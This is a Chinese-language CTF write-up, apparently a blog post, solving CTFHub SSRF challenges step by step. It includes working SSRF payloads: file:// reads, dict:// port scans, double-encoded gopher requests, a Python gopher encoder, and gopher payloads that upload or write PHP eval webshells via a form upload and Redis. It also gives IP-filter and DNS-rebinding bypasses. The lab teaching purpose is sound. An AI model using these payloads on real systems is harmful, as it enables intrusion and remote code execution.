• CTFHub SSRF 题目


    CTFHub SSRF 通关教程

    1. 内网访问,伪协议利用

    1.1 内网访问

    image-20230904201441465

    burpsuite抓取数据包

    image-20230904201144210

    发送到Repeater模块

    将url修改为下面这个内容即可

    ?url=127.0.0.1/flag.php
    
    • 1

    image-20230904201226308

    ctfhub{0f27868bd5983f24f5ce02c9}
    
    • 1

    1.2 伪协议读取文件

    image-20230904201430669

    常见的伪协议

    • file:/// :本地文件传输协议,主要用于访问本地计算机中的文件。在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

    • dict:// :字典服务器协议,dict是基于查询相应的TCP协议。

    • sftp:// :SH文件传输协议或安全文件传输协议(Secure File Transfer Protocol)是一种简单的基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机。

    • ldap:// :代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

    • tftp:// :基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机。

    • gopher:// :是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

    用burpsuite抓取数据包

    image-20230904202501241

    发送到Repeater模块

    将url修改为下面这个内容即可

    /?url=file:///var/www/html/flag.php
    
    • 1

    image-20230904202609219

    ctfhub{d64815f878477afcd7c92c0a}
    
    • 1

    1.3 端口扫描

    image-20230904202813666

    题目提醒端口在8000-9000之间。

    使用bp爆破,使用dict://探测开放的端口

    image-20230904205044302

    ?url=dict://127.0.0.1:§666§
    
    • 1

    image-20230904204011992

    image-20230904204230248

    爆破成功,发现端口是8902

    image-20230904204319195

    访问得到flag

    image-20230904204513886

    ctfhub{6f042e2013b8c8ac3d92d670}
    
    • 1

    2. POST请求,上传文件,FastCGI协议,Redis协议

    2.1 POST请求

    image-20230904204735577

    题目提示这次是发一个HTTP POST请求。ssrf是用php的curl实现的。并且会跟踪302跳转,准备了一个302.php。
    查看源码

    /?url=var/www/html/index.php
    
    • 1

    image-20230904215315272

    查看flag.php文件

    /?url=var/www/html/flag.php
    
    • 1

    image-20230904215341944

    访问127.0.0.1

    image-20230904215419731

    key=253ac935e6c6003864751ad695c8145c
    
    • 1

    拿到KEY,这个题目因该就是告诉我需要给服务器发送一个KEY就能得到你想要的东西。但是页面上又什么都没有,这就需要我们构建一个POST请求包来发送这个KEY。

    POST /flag.php HTTP/1.1
    Host: 127.0.0.1:80
    Content-Length: 36
    Content-Type: application/x-www-form-urlencoded
    
    key=253ac935e6c6003864751ad695c8145c
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    第一次编码

    gopher://127.0.0.1:80/_POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Length%3A%2036%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0A%0Akey%3D253ac935e6c6003864751ad695c8145c
    
    • 1

    说明:gopher协议可以在URL中提交POST参数。

    最后一次编码

    gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D253ac935e6c6003864751ad695c8145c
    
    • 1

    构造访问拼接在url后:

    image-20230904223034530

    ctfhub{3d11698a888f440ada017ee3}
    
    • 1

    2.2 上传文件

    image-20230906184657792

    提示:这次需要上传一个文件到flag.php了.祝你好运

    内网访问flag.php,发现是个文件上传,但是只有浏览框,没有提交框。

    <input type="submit" name="file">
    
    • 1

    image-20230906184847396

    修改前端代码。

    image-20230906185353441

    修改后效果如下:

    image-20230906185409274

    然后随便上传一个文件bp进行抓包

    image-20230906185523703

    将抓取的数据包全部复制,创建一个python脚本1.py,然后将复制的内容粘贴到下面文件的payload中,通过脚本对请求包进行编码。

    import urllib.parse
    payload =\
    """POST /flag.php HTTP/1.1
    Host: challenge-52a38570217269be.sandbox.ctfhub.com:10800
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------315882083476278763087340318
    Content-Length: 375
    Origin: http://challenge-52a38570217269be.sandbox.ctfhub.com:10800
    Connection: close
    Referer: http://challenge-52a38570217269be.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
    Upgrade-Insecure-Requests: 1
    
    -----------------------------315882083476278763087340318
    Content-Disposition: form-data; name="file"; filename="1.php"
    Content-Type: application/octet-stream
    
    
    
    -----------------------------315882083476278763087340318
    Content-Disposition: form-data; name="file"
    
    提交查询
    -----------------------------315882083476278763087340318--
    
    
    """
    
    #注意后面一定要有回车,回车结尾表示http请求结束
    tmp = urllib.parse.quote(payload)
    new = tmp.replace('%0A','%0D%0A')
    result = 'gopher://127.0.0.1:80/'+'_'+new
    result = urllib.parse.quote(result)
    print(result)       # 这里因为是GET请求所以要进行两次url编码
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    image-20230906193751187

    编码成功后显示效果如下:

    image-20230906193821002

    gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-52a38570217269be.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A109.0%2529%2520Gecko/20100101%2520Firefox/117.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------315882083476278763087340318%250D%250AContent-Length%253A%2520375%250D%250AOrigin%253A%2520http%253A//challenge-52a38570217269be.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-52a38570217269be.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------315882083476278763087340318%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_REQUEST%255B777%255D%2529%253F%253E%250D%250A%250D%250A-----------------------------315882083476278763087340318%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A-----------------------------315882083476278763087340318--%250D%250A%250D%250A
    
    • 1

    最后将生成的编码拼接到url后,发包即可。

    image-20230906193724963

    ctfhub{b4654348ac2636aeaaecd806}
    
    • 1

    2.3 FastCGI协议

    image-20230906195427641

    Gopherus工具:https://github.com/tarunkant/Gopherus.git

    Gopherus 是一款用于发现和利用 Gopher 协议的安全评估工具。Gopher 是一种基于文本的网络协议,早在万维网(World Wide Web)出现之前就存在。Gopherus 工具允许安全研究人员、渗透测试人员和系统管理员使用 Gopher 协议来搜索、浏览和利用 Gopher 服务器上的资源。

    如果端口9000是开放的,则SSRF漏洞可能存在并且可能导致RCE。为了利用它,您需要提供一个目标主机上必须存在的文件名。

    该网站上存在index.php,其路径为/var/www/html/index.php

    '
    config set dir /var/www/html
    config set dbfilename feng.php
    save
    
    • 1
    • 2
    • 3
    • 4
    • 5
    gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22feng%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
    
    • 1

    二次编码

    gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522feng%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25248%250D%250Afeng.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
    
    • 1

    执行过之后,就写入了feng.php

    image-20230906215119610

    image-20230906215159062

    ctfhub{d038d02bda2f613a53c11d0b}
    
    • 1

    3. Bypass系列

    3.1 URL Bypass

    image-20230904205245291

    提示:请求的URL中必须包含http://notfound.ctfhub.com

    image-20230904211830279

    尝试用http能不能访问127.0.0.1/flag.php,结果如下

    image-20230904211848995

    构造一个地址,http://notfound.ctfhub.com@127.0.0.1/flag.php ,这里的@是主域名解析,即@符号后面直接跟域名,@符号前面的内容会被视为用户名,相当于以http://notfound.ctfhub.com的用户名访问127.0.0.1/flag.php,用户名不重要,@后面才是解析的地址
    image-20230904211947344

    ctfhub{9db1dac47729d514cc144285}
    
    • 1

    3.2 数字IP Bypass

    image-20230904212344663

    使用bp抓包,查看源码

    image-20230904212854805

    这里显示IP为127,172,@,.都被ban了

    试一下直接访问url=http://127.0.0.1/flag.php,效果如下

    image-20230904213051410

    尝试采用各种进制绕过

    image-20230904213246673

    十六进制

    image-20230904213357273

    十进制

    image-20230904213322401

    或者采用localhost

    image-20230904213425517

    ctfhub{8f904bada115a76336f60a02}
    
    • 1

    3.3 302跳转 Bypass

    image-20230904201454320

    302跳转就是由一个URL跳转到另外一个URL当中去

    查看flag.php文件是否存在

    image-20230904195224220

    这里通过127.0.0.1访问,发现该IP无法访问

    image-20230904195316169

    采用127.0.0.1的变形写法

    0.0.0.0

    image-20230904195344221

    获取成功:

    ctfhub{b875e28c53abd21d077ae32d}
    
    • 1

    读取index.php的源码,猜测linux中的文件路径为/var/www/html/index.php。

    image-20230904195721136

    同时看到了在IP位置如果出现了127,172,10,192开头的,直接封禁。

    3.4 DNS重绑定 Bypass

    image-20230909200854007

    DNS重绑定DNS Rebinding攻击在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。

    使用DNS重绑定,从DNS域名解析入手,有一个想法就是通过修改域名对应的IP,使一个域名对应两个IP,那么在多次的访问之下产生的访问效果是一样的实现IP绕过。

    访问页面,并且使用burpsuite抓取数据包。

    image-20230909202249272

    rbndr.us dns rebinding service (cmpxchg8b.com)

    image-20230909203122490

    将对应的域名拷贝到URL后即可

    image-20230909202240461

    ctfhub{6bf68f804e086192d449bc15}
    
    • 1
  • 相关阅读:
    使用idea运行VUE项目
    通信算法之七十七:无人机设备上的通信系统
    leetcode&lintcode分类刷题:图论(三、多源最小距离问题)
    k8s集群 ceph rbd 存储动态扩容
    中科大郑烇、杨坚 《计算机网络》第一章
    AUTOSAR LIN: LDF(LIN Description File)文件解析
    el-input限制输入正整数
    数据库基础——3.SQL概述及规范
    C++ STL的空间配置器
    学Java可以从事什么工作 就业前景怎么样
  • 原文地址:https://blog.csdn.net/weixin_58783105/article/details/133794226